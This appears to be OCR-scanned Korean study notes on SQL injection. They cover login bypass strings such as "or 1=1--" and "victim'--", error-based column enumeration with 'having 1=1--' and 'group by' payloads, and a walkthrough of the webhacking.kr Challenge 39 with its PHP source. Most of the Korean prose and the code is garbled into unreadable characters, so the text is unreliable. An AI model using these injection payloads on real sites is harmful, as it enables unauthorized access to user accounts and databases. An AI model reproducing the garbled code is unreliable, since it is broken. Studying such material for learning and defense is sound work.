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1) FEHM X235 = A A2 2 1216H= SQL injection

ID:"or 1=1--
PW : abcd

select * from member where id=" or 1=1--' and
pwd="'abcd'
=> select * from member where i1d=" or 1=1

=> select * from member
= JI& HNH X3l&l= Al EAE 21013

- Z=HHE| (MS-SQL)
#: &K (MySQL)



select * from member where id="AI2 X} & gt and
pwd="At=Z A & gt

ID : victim'--
PW: ?

select * from member where id='victim'-- and pwd="?"
=> select * from member where id="victim'
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Error Based SQL Injection
=> 0lld HIAIXIE Soll DB £ & Tttt

"having 1=1--
201 &9 D0l & = M=

member.m_idx ZEH &S
=> 3| AL I SOY= EIIOI§ : member
=>m_idx 2E2 =ML &9l
‘group by memeber.m_idx--
member.m_id 2CEY &S
‘group by member.m_idx, member.m_id--
member.m_name ZEY 8=
'group by member.m_idx, member.m_id, member.m_name--
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« 398 =Ml AIOIE =
http://webhacking.kr/challenge/bonus/bonus-

10/

< | webhacking.kr Chellenge 3¢

& Chrome = Facebook = YouTube =
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< html =
<head>
<title=Chellenge 39 title =
< Ahead>>
<bodw>=
<l— inde=.phps —=

<form method=post action=inde=.php>

<input tvpe=te=t Nname=id ma=lengath=1% size=320>
<inpuut tvpe==submit>

< STorm

Sl Tu u L

< Ahtml =



e e S
« index.phps = & &gt AAQ|LC}.
« $ POST[id]= 0~1

5
« WHs=del=" 0

= 0|, "(AE23H) = "(H=ZAH)2 bt&
*substr 2 XIHE SXHGHAM XESH S0 S0 Q= 2ig L&
< htrml =
<head:>
<title>Chellengae 29 title >
< sSheads>
<bhbodw>
=

Fpre="7TTT

ifC%_PO=TLid] X

{
F_POSTLid]l=str_replace YY" . """ $_FPO3TLid] X
F_POSTLid]l=str_replacel" " . "".%_FPO3TLid]

$F_POSTLid]l=substri%_FPo=3TLid]l. 0. 153
Fag=mwsgl_fetch_arravwimwvsgl_querw"select 'good” from zmail_member where id="$%_FPO=ZTLid]™ 20

ifCEgln]l=—="g9ood”) @Esaolwell:
}
T

<form method=po=t action=inde=.phpx>

<input tvpe=te:xt nmname=id maxlenath=15 size=320>
<input twpe=submit>

< sform>

< Sbody

< shtml =



¢ C [ webhacking kr/challenge/bonus/bonus=10/ndex. php ‘Tff_" =

%a] 01 HOIRIE (201 +| 2 Slof QsLICt HAstAASLIN A9 | A9 ot e

Warning: mysgl_fetch_array(): supplied argument is not a valid MySOL result resource in /home1/oldzombi2/challenge/bonus/bonus-
]0./index.php on line 17
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« $g=mysqgl fetch array(mysqgl _query("select '‘good' from
zmail_member where id='$_POSTIid]"); &= 0l Al
g0 id='$_POSTIid]0ll '(&l=FH) 20| & JUAl Ot
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